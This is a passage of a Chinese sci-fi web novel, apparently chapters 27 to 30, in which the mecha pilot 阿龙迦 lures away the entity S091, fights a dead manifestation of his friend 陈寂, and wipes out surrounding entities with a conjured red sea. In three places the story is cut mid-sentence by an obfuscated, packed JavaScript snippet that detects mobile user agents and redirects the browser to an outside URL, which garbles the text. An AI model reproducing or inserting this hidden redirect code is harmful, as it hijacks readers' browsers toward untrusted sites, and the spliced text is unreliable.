阿龙迦不知道为什么自己不受影响(大概率又是因为他的存在本身,他的“特殊”),但他知道草地尽头的其他人已经全部被纳入了S091的影响范围,无一幸免,此时此刻不仅自身处于极度危险,他们中的每一个人更是已经成为携带污染的观察者,如果让他们把自己的观测告知、描绘给其他人,S091的影响范围会迅速扩大,污染将顷刻覆盖这处人数不足一百的中队。 当务之急——阿龙迦了然。一定得有人先把S091“引走”! 引走一个实体,这本来是不可能的,但S091作为一个意识层面的污染者,它有一条奇异的特性,就是当你意识到它的存在,即明白一切现象的背后是“S091”这个实体时,它也会意识到你。 而它会无条件追逐它“意识”到的人。 这像是一种双向的标记。 意识到它的存在,会在双方间形成一种意识层面的纽带。 而在现场,目前唯一一个意识到它的人就是阿龙迦。显然,S091也已经注意到了他。 阿龙迦忽地起身向前,完全不管其他队友。他径直走入了黑夜中的荒野,无边的草地迎面而来,漫漫的长草像起伏的红海,在他身侧二分。 在和那只风筝只有三百米的地方,子程序开始剧烈地报警! “凡三百米内出现高危实体!凡三百米内出现高危实体!” 可阿龙迦还是大步向前,像无动于衷。 夜风席卷大地,在草海上吹出浩大的涟漪。阿龙迦像一个蚂蚁劈开草海,在身后留下漫长的痕迹。 走到离稻草人一百五十米处,没有任何预兆地,阿龙迦忽然掉头,飞奔!鬼神般的锐角转折! 为了能百分之百成功引动S091,阿龙迦不惜近身到150米处,在阿龙迦的界定中,这已经是能够容许人做出反应的最后的临界距离。 他向正西方奔袭出去,太高速以至于像一卷残影跃出,只有他的影子还投在草海之上。像是夜空下一只收起双翼的鹰。 下一刻,极度诡异的事情发生了。 草野尽头的那个稻草人以和他完全一致的速度“飞跃”了出去,但如果有人仔细去看,会发现稻草人本身其实根本没动,它还是一个死物,一个装饰品,矗立在原地。 只是它和阿龙迦的相对速度被某种极度诡异的力量一直保持为了“0”,所以反而像是大地草海在后退,是整片大地在为他们收缩!便如传说中的“缩地成寸”。 在稻草人的身下,无边草野被极度压缩为一步!它岿然不动,大地却在它脚下飞驰,它缩地而行。 草地变为模糊的绿色在他们之间高速流过,阿龙迦在飞奔出去的那一瞬间,就已经开启了夸父的“异化状态”,他没有抱任何希望光靠速度就能拉开和S091的距离,对于这种处于神秘侧顶端的实体,能与之抗衡的,只有神秘侧的力量! 异化状态·逐日,开启! 夸父的表面温度骤增,白雾骤然腾起,阿龙迦咬紧了牙,每一秒中,他精神的负荷都在急速加重,可是身体机能又同时稳步上升,这是一种极度奇异的感觉,像是变为烂泥的同时被人死死地拖住双肩,下降的同时也在上升。 他跑得更快、更快、更快! 当他跑到最快的时候,异化状态似乎开始起作用了,S091不再靠近,他抓住这个机会,没有喘上一口气,而是迅速拨通了原野的个人频道。 谢天谢地,原野今晚选择的守夜据点不是草地尽头! 滴的一声,频道通了。阿龙迦在原野的个人频道中高速开口:“S091号实体出现在草地尽头据点,重复,S091号实体出现在草地尽头据点!草地尽头守夜的小队全军覆没,全员已被S091污染,成为携带影响的次级污染源,请立刻派人制服他们,最好是从后方偷袭,直接击晕,不要让他们注意到!不要听任何他们说出的话。我们的驻地已经留下了S091号实体“粉象”的污染,不再安全,六个小时一到,赶紧带所有人撤离!迅速前往返回舱!” 原野的声音还保持着冷静,也飞快地说,“好。可你怎么和我们汇合?我们怎么等你?” 阿龙迦的额间已经沁出微微的汗,从牙间发出爆喝:“不用等我!一到达返回舱,立即请求相位跳跃,即刻回舰!” 他毅然决然地切断了通话! 他已经和S091初步形成了双向纽带,他必然不可能再回到大部队中,眼下根本不是想后路的时候,如果能摆脱S091一切都好说! S091没有离得更近,可也丝毫没有被拉下更远。 阿龙迦此刻的速度已经达到几乎90公里每小时,太快了,两侧的景色高度模糊,呼啸着流过。 在他的余光里,他逐渐开始看到一些不同寻常的存在。 这些东西都是一晃而过: 六翼的人型石像天使,两翼遮脸,两翼遮脚,两翼展翅飞翔,全身像是灰白色的石膏; 小熊,许多毛茸茸的布偶小熊,穿着小小的礼服,或躺或倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126987|180100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,伏在地面上; 巨大的眼睛,带着眼皮、眼球的眼睛,就这么突兀地“站”在路旁,注视着他; 钟表,各式各样的钟表,有小闹钟,还有男式女式的手表。 每一样,在阿龙迦的眼中都无比熟悉,像石子砸入湖面。 A087号实体【镀金天使】! A013号实体【“我”亲爱的礼服小熊】! B136号实体【眼】! C008号实体【你的时间正在流逝】! 阿龙迦知道这是S091对他的影响已经步入第二阶段,开始大量具现负面事物,他不敢有丝毫停滞,再次提速。 时间超过20分钟,异化状态开始步入下一个阶段。 这种状态可以叫拔升,也可以叫异化,阿龙迦开始向“非人”的方向偏移得越来越远。 在这个阶段,他的精神再次被极度压榨,身体机能则翻上一个不可思议的台阶。不能叫人了,他在获得异兽的部分特征。 阿龙迦的额角已经浮现出蛇一样的青筋,扭曲地跳动,精神的最底部,曾经向他打开过的鬼神之门蠢蠢欲动,就要再次打开。 似乎敏锐地察觉到了阿龙迦此刻状态不对,S091在这一刻陡然提速! 太快了!这不是一种物理速度上的快,而是一种概念层面的快。 似乎有一只笔在更上层的叙事层,将阿龙迦与S091之间的距离依次修改为100米、80米、60米……每一个心跳间,S091都显著地离阿龙迦更近,根本察觉不到它是怎么前进的,只能感觉到近在脑后,近在咫尺! S091和阿龙迦之间的距离被修改为“0”! 抓到了!再也逃无可逃。 阿龙迦已经感觉到那个存在在他脑后,他已经做好了一切准备,可当那个“存在”出现在阿龙迦视野中时,却是一只手。 一只苍白而瘦削的手。 那只手贴着夸父的腰侧伸出,然后是手臂、肩膀、半个身子,那个存在像是从他的背后,贴着他转到了他的身前。像是本来就是个影子,从始至终都从背后与他紧紧地贴在一起。 攻守易势了。可阿龙迦却忽然僵住了一瞬,他没有进攻,没有闪出去。 他的脑子中空白了一下,像是有人弹指扣动了古老的青铜片,或者一滴水忽然落下屋檐,他想,是有什么错了。 从他背后走出来的,是个苍白的年轻人。 苍白,疲倦。全身只有碳素笔勾勒般的黑色,头发漆黑,眼瞳也漆黑,额发太长了,微微地挡住眼睛。 那真是一张熟悉的脸。额发下,露出清晰的眉宇,目光沉静。阿龙迦记得他话不多。偶尔会有微微的笑。 陈寂。 却不是现在的陈寂,而是十五年前,二十岁的陈寂。 阿龙迦还没来得及判断出这是什么情况,陈寂忽然开始流血。 流血,腐烂。 他似乎从全身开始淌血,血从毛孔里汩汩地往外冒。本来,他面上还有一缕隐隐的红色,淌着淌着,整个形骸就骇人地苍白干枯下去。形销骨立,槁败伶仃。 然后他开始迅速地腐烂。 他的胸口出现巨大的破洞,隐约是心脏的位置,能透过去看见断裂的肋骨。 阿龙迦一开始觉得荒谬,疑惑,完全不知所谓。 逐渐才忽然有点看明白了:这个陈寂,正在死去。 现在显然是S091影响的最终阶段,按道理,它会具现出人潜意识中,最深的终极恐惧。 可是现在它具现出的却是陈寂是为什么? 这没有道理,他连活的陈寂都不怕,难道他还怕死了的陈寂?难道只是流流血就能把他吓得愤而自杀? 这一刻的阿龙迦觉得荒诞且好笑。 可直到很久很久之后,阿龙迦再想起这一天,才明白S091没有出错。 他不是怕死了的陈寂,而是在心底的最深处,他一直害怕陈寂死了。 28. 28 燃烧的夸父 阿龙迦不得不停下脚步。 星空之下,无穷无尽的荒野。杂草丛生,到处都是零星的巨石、废墟,便如古老的巨石阵。 三步之遥,陈寂和阿龙迦静静地相对。 不是现在正在几十万公里之外的星舰上的那个陈寂,不是如今雷厉风行的皇帝,而是一个更年轻的陈寂。 更年轻,更苍白,更腐烂。 也更……死亡。 S091显化的陈寂显然已经死亡许久,陷入了死寂深处。 他不仅高度腐朽,苍白得吓人,双瞳表面都已经生出一层白翳,双眼不再有点漆般的光亮,灰蒙蒙的,像是眼底积满一层灰尘。 只有那张瘦到嶙峋的脸,还能在眉宇中看到一缕隐约的神韵。 这个已经死亡的陈寂静默地站在那里,没有什么表情,可是隐隐的,那张年轻的脸上似乎有一股巨大的悲恸,把他的眉梢眼角都压弯了。 他睁着一双死亡的眼睛,带着奇异的悲恸,凝睇着阿龙迦。 阿龙迦面无表情,心底却微微一抽。从这张脸上意识到那股悲恸的时候,不知道为什么,他像是心底忽然被刺了一下。他读不懂那股悲恸,谁能读懂一个异常造物的情绪?可是这个表情却让他心里非常不舒服。他说不上来。 很奇怪。现在的这一切都很奇怪,太奇怪了。 S091为什么会显化出陈寂?显化出的陈寂为什么又是如此怪异的形容?异常固然是混乱无序不讲理的,可这也太不同寻常了。 陈寂灰白的眼睛还是静静地看着他。那种从死亡里投来的注视,有一种高度的非人感。 突然,他伸出一只手。 那只手还在往下滴血,黑色的血珠在草叶上迸裂。 随着陈寂的动作,所有的血珠都慢慢地停下,像是血液凝滞或者倒流了,血珠不再下落。 那黑色的血液突然开始肉眼可见地变得凝实。 沿着他手臂流下的血,都汇聚在一起,然后迅速地凝结起来,浑如黑色的冰霜。 黑色的刃从陈寂的手心“长”出,缓缓地延伸到七尺,最后,他手中握住的是一把黑色的长刀,带着邪异的长弧,黑刀的表面是像盐粒那样一颗颗细小的晶体,在星光下,流淌着淡淡的光辉。 这个枯骨般的陈寂,把着那柄黑色的长刀,开始从容地缓步,像一个收割生命的幽魂。 干枯的轮廓更显得黑刀锋利而漫长,将近一人之高,便如古代用于马战的斩/马/刀。 阿龙迦认真起来。 看来S091连个人特征都映照出来了。斩/马/刀是陈寂的标志。当年一众年轻人中,看起来像文士的陈寂,却学了最刚猛的斩/马/刀术。 阿龙迦左右手同时点亮等离子体剑,这次双剑并用,并且一开始就是反手握剑,没有丝毫懈怠。 陈寂此人,很多事情上都看起来平平无奇,让人注意不到。可你要是真和他交手,从来都像是一拳打进橡皮或者棉花,你无论出多少力,他都能紧随其后使用和你一样的水准,从来如此,几乎深不可测。 哪怕只是论武术,其实真正意义上赢过他的人就只有阿龙迦,其他所有人和他打,无论强弱,结果居然都是平手。 没有寒暄,没有一句话。这个陈寂好像根本就不会说话。额发垂下来遮住他的眼睛,只是一个转身,陈寂转刀过背,黑刀瞬间就带起巨力旋转横斩,阿龙迦以双剑死死封住。 等离子体剑在黑刀上只迸出稀疏的火星,根本看不出那把黑刀的质地,大约是某种神秘侧的未知材料,在等离子体束的灼烧中连印子都没留下。 陈寂根本没有停滞,眨眼间,已经斩出了数十刀,每一刀都是侧身横斩,每一刀都是刚勇凌厉的进攻,在上一刀的基础上叠加发力,一片片弯曲的刀光首尾相接,形成一种诡异的黑色光弧,像是燕子冲天。 因为斩/马/刀太长难以收束,所以陈寂根本不学防守,或者说他的“守”只在每一刀发出的瞬间。 横斩对直封! 黑刀直指夸父的胸口,迫使他回防。那是驾驶室所在,阿龙迦不可能不守! 阿龙迦顺势防守,拆了将近百招,终于让他摸到了一点底,他还是对陈寂太熟悉了,按他的估计,这个陈寂几乎处在他个人武术的巅峰水准。 二十三岁登基之后,陈寂不再亲自踏上战场搏杀,也无法花费大量时间保持高强度训练,状态难免下滑,他的技术巅峰就是在二十出头的时候。 这个时期的陈寂打起来还真是有点棘手。虽然这人平时很沉默,有时候看起来还有点腼腆或者说温和,可一出手,年轻人那种凌人的奋勇和勃发的凶狠还是暴露无遗。 一句话来讲,都在刀里了。 陈寂的刀又起了变化,他以四指搭住,拇指紧扣,握刀的着力点忽然拉长,几乎来到刀尾。然后他开始变斩为刺! 用起来几乎像是长枪。更难挡了,防守的难度加倍。 于是阿龙迦不再防守,他开始前进!像一匹冲锋的神骏。只用一剑,他就撩开了黑刀,左手剑用一个眼花缭乱的花刀——这甚至只是一个观赏性的戏法招式,去挑陈寂握刀的手,极度的光热似乎令这个已死的陈寂都无法忍受,下意识地张开手指,然后那一式花刀瞬间变虚为实!看着虚浮的一剑却带着沛莫能御的伟力,直接挂下陈寂的刀! 刀脱手坠地! 阿龙迦以不可思议的速度在空中一挑那把翻转的长刀,长刀被他轻易地挑飞,在十五米的远处,斜斜地扎进地面。 陈寂劈手去夺他的剑,可是阿龙迦驾驶的夸父处在即将攀升到极点的异化状态,论体术论速度陈寂怎么可能跟得上,阿龙迦轻易地将其锁喉,单手用力将他掼在地上,另一手持剑,指向他的眉心。 阿龙迦单膝压在陈寂胸腹上跪下,陈寂在他手下剧烈挣扎,可即便如此,掐住他脖子的手还是能感受到陈寂肌肤上那种彻骨的凉,根本没有脉搏,没有热的血。 等离子体剑刃的蓝光照亮陈寂的双瞳,在这荧光下那层白翳也隐去了,这么乍一看,又是双正常而鲜活的眼睛了,蓝光映在里面,映得双瞳剔透,像镜面,或者冰川下的湖。 “如果我也是二十岁,要打赢你肯定有点麻烦;可惜,我早已不是二十岁。” 阿龙迦的声音透过夸父响起,显得声音低沉,嗡嗡的。 陈寂忽然不挣扎了。不挣扎的时候,他不再显得狰狞,那张脸上,那股奇异的悲恸又再起浮现出来。 那一缕幽深的蓝色映在他的双眼中,衬着这张安静的脸,有一种鬼魅般的神韵。 太像了。这一刻他像是被墨点了眼睛的纸人,精魅或者魂魄油然而生。这么看去,太像了,肖似得令人害怕。 “你……” 一瞬间,阿龙迦的手颤了一下。说不清是为什么。 同一瞬间,异变陡生! 陈寂借着那一瞬间的泄力,用力翻身撑起,他挣脱了阿龙迦的束缚,他几乎就要逃脱了! 阿龙迦的另一手紧紧地持着剑。几乎是下意识地,他瞬间按下手腕。 陈寂直直地撞上了那把剑,一掌长的光刃透出他的喉咙。 穿喉而过。 陈寂被穿透在等离子体剑上。没有血,因为陈寂的血已经流尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126988|180100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 只有一股淡淡的烧焦的味道,那是等离子体束在灼烧他的血肉。 阿龙迦僵住了。 光刃的末端刺穿陈寂,看起来甚至好像是陈寂自己撞上来的,他被死死地钉在地上,钉穿喉咙。 按理说阿龙迦应该高兴,起码该松了口气,因为毕竟这是S091的终极造物,就这么死于他手,终究没有带来多大的麻烦。 可是阿龙迦说不清为什么,就像今天发生了很多他说不清的东西一样,他的心在缓缓地往下沉,坠进胃里,直到消失不见。 他熄灭光刃,陈寂直直地往下倒去。 阿龙迦沉沉地呼出一口气,似乎是要吐出许多堵塞在胸中的东西,就要站起身离开。 可他的胳膊却忽然死死地被人抓住! 是陈寂!已经被他杀死的陈寂,再死了一次的陈寂。 陈寂张开嘴,嘴里都是干涸的黑色的血块,不知道他是在笑还是在哭,因为他太狼狈了,满脸都是黑色的血痕,黑色的血痕像蛇一样爬上他的整张脸。 他死死地抓住阿龙迦的手臂,力气大到仿佛是铁钳那样。 然后,这个阿龙迦一直以为根本不会说话的陈寂,忽然用极度嘶哑的声音说: “为什么,杀我……你是我唯一的,朋友啊!” 每说一个字,他的嗓子就嗬嗬地漏风。 说完最后的“朋友”两个字,他彻底地瘫倒下去,然后整个人从胸口开始,化为一滩黑色的血。 阿龙迦愣住了,这个陈寂为什么会说这样的一句话?阿龙迦曾经在重生后第一次使用机甲的幻境中,已经杀过陈寂一次。那时候他最后的一句话也是“你是我唯一的朋友啊!” 这句话好像成为了一个魔咒,不停地盘旋重复,像一个徘徊的幽魂,阿龙迦怔怔地站起身来。天旋地转,他清楚地知道,在这次的战场上,他第一次些许地乱了方寸。不是在遇见半步君王级的异兽时,也不是在S级实体091出现的那一刻,而是在诡异造物的陈寂撞死在他的剑上,说出这样一句话后。 “你是我唯一的朋友啊”……真熟悉。可第一次在现实中听到这句话是什么时候? 在阿龙迦想起的瞬间,往事像一只射出的箭穿胸而过。 他心中有一瞬的刀割,像是被当面射中。那一切都毕竟不能再回头。 阿龙迦站直了,用力地将这一切情绪都甩在脑后。他知道,自己这一刻的状态不对劲,很不对劲,可他无暇自顾了。 因为四面八方,那些被S091具现出来的负面事物已经追了上来。各种各样的实体,A087镀金天使、A013礼服小熊、B136眼、C008钟表、B017众械成虫……举目望去,无不是实体。甚至之前遇到过的青铜之翼也悄然降临,小小的、枯萎的翅膀陆续降落,静静地栖息在草地远处。 不只是实体,甚至还有异兽。 更远的地方,无数对狞亮的眼睛在夜色中升起。他被围住了,天罗地网,十死无生。 上天无路入地无门的死局。 是么?阿龙迦垂下头,忽然笑笑。同样就是在这一瞬,夸父的“异化状态”累计开启超过四十五分钟,在他的精神中,阿龙迦清晰地听见了一道什么东西破碎的声音,而后下一瞬,他所有的感官成千上万倍地增幅,力量像无边的潮水朝他涌来。精神的最底部,那扇鬼神之门霍然洞开,无数的画面闪动,蜂拥而至。他再次进入了那种曾经硬撼君王级污染种尼罗的状态。天地之柱上,血红的人形睁开双眼。 就在这一刻。常型000-E类改-夸父,正式踏破界限,成为起源机甲。 29. 29 一骑当千 常型000-E类改-夸父,踏破起源界限的瞬间,是一种非常奇妙的体验。 对于机甲来说,这是其本质的一次扬升,标志着内部的异兽躯壳以某种手段完成了等级的飞跃,超凡入圣,到达了位于神秘侧顶点的君王级。 到了这个地步,已经开始向某种极高的未知生命形式转变,无法用现存的一切手段来理解。 阿龙迦最先听到的,是一声清脆的裂响。 像是雏鸟顶破了蛋壳上的那层薄膜,有“叮”的一声,新世界扑面而来。世界变得出奇的清晰。 最开始拔升的是视觉,他开始能在黑暗中无障碍视物,分毫毕现。 然后身躯像是被泡在了热水中。机甲的各项性能跃升太大,他根本不熟悉这种状态,身体变得太轻盈了,像是飞浮在云中。 五脏六腑都像有力量在浸润、流动,躯壳被一股巨大的暖意所包裹,仿佛浮在碧色的生命之泉里。 与此同时他的精神被压榨得超过极点,像一片坚固的瓦片忽然裂解,崩溃为细沙,就像败在尼罗手下那次一样。 按理说精神崩溃的瞬间他就会开始畸变,理智清零,人会异化成无智无识的怪物。 可是他没有。 无论是上次直面君王级污染种尼罗,还是这次扛着巨大的负荷面对S091,精神两次越过临界点,可他却都没有异化。 这一切,都只是为他冲开了精神最深处,那扇鬼神之门。 熟悉的场景在阿龙迦心底打开。 这次他能无比清晰地“看”到精神中那副浩大而奇谲的画面,他的精神被这幅接天的场景占满,他几乎无法思考。 海。无尽的海水。水中有成千上万的尸体。 海水的尽头,立起了通天彻地的木柱,木柱上钉着骸骨般的人形,它以身与手组成了苍红色的十字,向着汹涌的天幕张开双臂。 在此之前,这个场景只向他打开过两次。一次是被尼罗侵入精神的濒死之时,一次是直接触摸机甲“特型000-钟山之神”的时候。 如今在他孤身一人,被多如海沙的异常造物包围之时,鬼神之门霍然洞开,这个场景回来找他了。 像一个驱不散的鬼魅。 长草间,有沙沙的响声。成百上千的异兽在夜色中靠近,露出真容,在夜色中凸现出奇诡的轮廓。 都是在最黑暗的想象中才能见到的长相: 背生十三只手的佝偻人形;两首三眼,两个头颅黏连在一起、仿佛双头分裂未成功的鸵鸟;树干上浮现无数张人脸的巨树,人脸或悲或喜,或忧或怒,看起来都是生动鲜活的真人面孔。如此种种。 更加致命的是实体,寂静如死地横亘在草野之中。一些极其危险的变化正悄然生发。 A087“镀金天使”,灰白的石膏形体,似乎比最开始更加舒展了,遮住脚的双翼已经移开,遮面的双翼正要徐徐打开,剩下的两翼展翅怒张,两列翎羽齐整,根根如剑; A013“我亲爱的礼服小熊”本来是稀疏地落在地面上,或躺或坐,现在它们每一个都已经坐起,所有纽扣的眼睛,都不约而同地朝向阿龙迦; B136“眼”不见了,那些数量庞大的巨眼已经诡异地人间蒸发,阿龙迦知道它们必定已经藏匿进了各个隐蔽的角落; C008“你的时间正在流逝”,时钟和手表散落满地,B017“众械成虫”则开始伸出细长的机械肢体,在草丛中爬行。 巨大的包围圈向中心缓缓地合拢,圈里只有那具苍红色的“夸父”孤零零地站着,没有任何队友,也没有即将到来的援军。 异常造物们这一次根本不急于进攻,在这样的天罗地网之下,阿龙迦已经是个死人了。 这十死无生的一刻,阿龙迦却几乎失去意识,头痛欲裂。 在他的精神世界里,天地之柱上,血红而腐烂的人形慢慢地抬起头,像是疲惫的旅人隔雨眺望,又像是已然化作枯骨的龙,可是余威苍古。它发出了一个宏大的声音,根本不像是语言,而像是敲响撼动尘世的铜钟。 可阿龙迦听懂了,它说的是: “凡是非‘我’的,当叫死亡展翅降临在他们头上!” 无边的寂静中,阿龙迦听见自己的心跳声越来越响。 像暴雨,像一千一万的铁蹄敲打着地面滚滚而来,人世间怎么会有人拥有这样的心跳? 一股巨大的兴奋像烈酒和毒药,被他的心脏源源不断地泵出,流经四肢百骸。有一股不知道是胆气、烈气还是什么的东西充盈了他整个胸膛,把他整个人都撑了起来…… 他缓缓拔剑。 握剑,点亮! 不可思议的事情发生了。这次点亮的光刃不再是荧蓝色,七尺苍红色燃烧般的剑刃莹莹亮起,剑上腾起雷火般白炽的光热,阿龙迦在黑夜中展开双臂,像是握着两把火焰的剑,刺眼到无法直视。 他像大鹰般高高跃起! 阿龙迦落在异兽群中,两道苍红的剑光也滚地落下,地面的异兽像被收割的麦子,裂为两截,阿龙迦杀死它们轻易得就好像热刀切割黄油一样,剑上火光变幻,他像一架绞肉机那样猛地撞入异兽之中,风车一样轮舞,一剑毕,有一圈绝丽的大弧,数息后,一圈之内所有的异兽都沿着那个圆面断首开裂。 剑尖熔铁一般的赤金色挥出两道平行的长线,飘忽若神,阿龙迦的身形冲天转折,只是三次起落之间,大片的异兽群就已经被夷为空地,然后他毫不迟疑,一步踏地,剑上亮起日出一般辉煌的亮光,他进攻的方向开始朝向那些实体! 他居然开始直接尝试暴力破坏那些实体! 首当其冲的就是A087“镀金天使”,它用于遮脸的两翼已经完全打开,露出一张似人非人的石膏面容,没有涂色的灰白眼珠,有一种让人背后发寒的恐怖谷效应。 它的六翼完全舒展,六翼的底部开始渲染出一股镀金般的金色,向上蔓延。这意味着它就要苏醒了。 只是电光火石的一瞬间,A087的档案在阿龙迦残存不多的理智中闪过: A087号实体【镀金天使】: 又名镀金神使,外形为拥有六幅巨翅的石雕天使,肉眼质地表现为类石膏质地。 刚出现时,石像只有极小的部分会残留镀金,看上去像是废弃已久的彩绘雕塑。 会突兀地出现在污染度加深的战场上 已有研究推断石雕本身和镀金是共生的两种生命,来自一切生命体的“观测“(包括意识层面的观测),会促使镀金部分急速生长扩大,当镀金层覆盖整座石雕后,镀金天使将转化为纯金天使,石膏体会获得自由行动的能力。在纯金天使阶段,A087几乎无法以物理手段毁灭,对物理手段的抗性不符合已知底层定律。 目前唯一能够完全毁灭纯金天使的办法,是驾驶内嵌污染种躯壳的机甲同归于尽。 也附带基本层次的精神打击。 天火般的双剑居高临下地坠落,当头劈下,却只在镀金天使表面拉出两道丑陋的长痕,细微的裂痕在形成的同时就在愈合,当阿龙迦第二次劈下时,它的表面已完好如新。 攻击它的举动似乎剧烈地加快了A087的苏醒,镀金层像一朵金色的云,迅速膨胀、蔓延。 转瞬之间,石膏天使的六翼已经都镀上了灿烂的金漆,鎏金开始爬向石膏天使的面容。 六翼缓缓颤动,石刻的发丝被夜风拨开,它开始苏醒! 与此同时,阿龙迦的精神世界中,第二次地,钟响。 宛如天空中审判的巨钟再次被敲响。还是那个血红而腐烂的人形,还是相同的举措,它吐出的是一句一模一样的话: “凡是非‘我’的,当叫死亡展翅降临在他们头上!” 阿龙迦的脑海中,他像是自然而然就知道怎么做了,他一步踏出!巨大的阴影从那一瞬间开始蔓延,从他的脚下潮水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126989|180100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般涌出,转瞬就覆盖了整个草野。 刚刚苏醒的镀金天使敏锐地开始后退,似乎是察觉到周围的天地,变了。 阴影笼罩整片草野,像黑云般迅速扩大,变浓变厚,下一瞬阴影开始上涨!原来那其实不是影子,而是水,深红色的水,海水。 它以匪夷所思的速度迅速上涨,水波漫漫涌起,大潮涌动。草野无边,可是海水更加无边,只是过去了几个呼吸,在这片荒野上居然开始响起哗哗的怒涛声。 人形的两句话,每一次都修改了现实。 第一次,它将阿龙迦的双剑修改为了不可思议的状态,物理手段根本无法达到那种效果,像是携带着雷和天火; 第二次,它带来了红海。 是的,阿龙迦已经认出这无穷的水,正是他精神世界里的那无边无际的红海。 以某种骇人听闻的方式,他将精神世界中的红海“具象”到了现实。 具象化。人类能做到么? 上一次完成“具象”的奇迹的还是S091。这一刻,阿龙迦的心里忽然变得明了。 红海将所有的实体都笼罩在内,海面上开始滚起浓厚的白雾。 浸在红海中的每一个实体都仿佛在“蒸发”。说不明白那种原理,但是它们在肉眼可见地被腐蚀,“我亲爱的礼服小熊”们漂浮在水面上,和水面接触到的毛发在迅速地卷曲、发黑,然后整块整块地脱落,冒起滚滚的白色烟雾,仿佛接触的不是水而是浓硫酸。 刚刚苏醒的镀金天使以六翼包裹住身体,它不跑也不逼近,居然站在远处凝视着阿龙迦,它的六副翅膀上的镀金层泡在水中,逐渐开始一片片地剥落、凋零,它变得灰白而残缺,可镀金天使像是完全不在乎,它只是直直地凝视着阿龙迦。 直到最后,等它的身躯已经开始腐蚀为灰白的粉末,飘散在水中时,石膏天使才闭上了双目,那样一张非人的僵硬的脸上竟然能看出一股诡异的平静来,自始至终,它居然都没有任何挣扎,或者尝试逃离。 从水面的上游,流来了许多“眼”和“众械成虫”的尸体,在此之前,阿龙迦从来不知道它们居然能被杀死。 所有“死去”的实体和异兽的残骸,最终都沉没在红海中。 每个诡异造物落下的地方,却都流出一股黑烟一样的影子,汇聚到阿龙迦的脚下。 阿龙迦一步步地在红海中走过,每走一步,都有黑烟源源不断地流向他。 黎明的第一缕光线从天边横涌过来,照亮阿龙迦身后的影子,凝实深黑到诡异。 …… 天光已经大亮。 红海和它降临时一样毫无痕迹地消失了。长草在宁静的黎明中微微摆动。 废墟的石头上,阿龙迦拄剑而坐。另一把火焰般的剑,斜斜地插在一旁的土地中。 他用一只手死死地按住自己的额头,和上次直面尼罗一样,他的精神混乱到了一种骇人的程度,脑海中,痛得像是有长针穿颅,或者被烙铁烫过,精神已经像干裂的土地一样完全枯竭,额角突突地跳动。 有怪异的光影在眼前闪动,他连双眼都无法睁开。 可是在这样的战场上,他根本无法休息。 “滴——” 他的个人频道中突然响起子程序的播报。 “您好,您所处3-15中队的中队长原野已经为您联系总程序请求救援,总程序已完成分配,已联系到三小时后将从此经过的:鬼刺狐第一舰队第三师下辖的H0103-11号大队,您可以乘坐他们的返回舱返回舰队,大队长:坎特雷因,即将与您联络。” “请随时保持通讯通畅。” 这则讯息在他的个人频道中响起。 阿龙迦呆坐了半天,才明白过来。 来救他?原野真是细心。 他不由得苦笑。可是谁知道此刻H0103-11大队接的,会是一个人,还是一个即将崩溃失控的怪物? 30. 30 故人安在 天亮了,云野低垂。 有无数次,阿龙迦都几乎失去意识。 他用手紧紧地撑住头,左手拄着天火般的剑,像具石雕般坐着。只能坐着,因为一旦站起,整个世界都像在旋转。 巨大的晕眩像一个漩涡在他脑中盘旋。 在此之前,鬼刺狐第一舰队第三师的大队队长联络了他,告知位置和时间并略作安抚。 漫长的等待中,有一只落单的异兽路过了这片草野,隔着遥远的距离,在看见他的第一眼发出兴奋的尖叫,狂奔而来。 阿龙迦根本没法站起。 他从指缝间微微抬头,看着异兽带着一条狂奔的烟尘扑来,惊天动地。全身上下,却只有手腕能动。 于是他将手腕轻轻地抬了一下。 旋手拔剑。 而后他手腕轻迅地一震,那柄剑居然被他逆手掷了出去。快得不可见,拉成细长的一条线,凌空一闪。 像一道长虹。 掷剑术·摧天一掷。 他年少时发明的四式之一,奇诡的发力方式将异兽当头刺透,异兽仰天翻倒。长剑透颅三尺,钉入地面。 连一声惨叫都没发出,异兽立死原地。 可阿龙迦已经撑不住了。 失去意识前,他似乎看到了黑压压的人群,像一条长龙翻过草野,从天际线上行军走来。 看到阿龙迦的瞬间,他们呼啸着小跑而来,有人在大声喊什么东西,有人向他打手势让他撑住,可这一切,阿龙迦听不见也看不见了。 夸父发出沉重的响声。像是一座山的倾塌,阿龙迦轰然倒下。 …… “给他扎了强效能量剂吗?” “扎了扎了!” “神经细胞抑制剂呢?看起来他受的污染很重!” “我的已经自己用了,我这儿没有……” “我有我有,我这还有一支,用我的!” 阿龙迦被微微的刺痛唤醒。 眼前的视野极度模糊,像是隔着雾气。 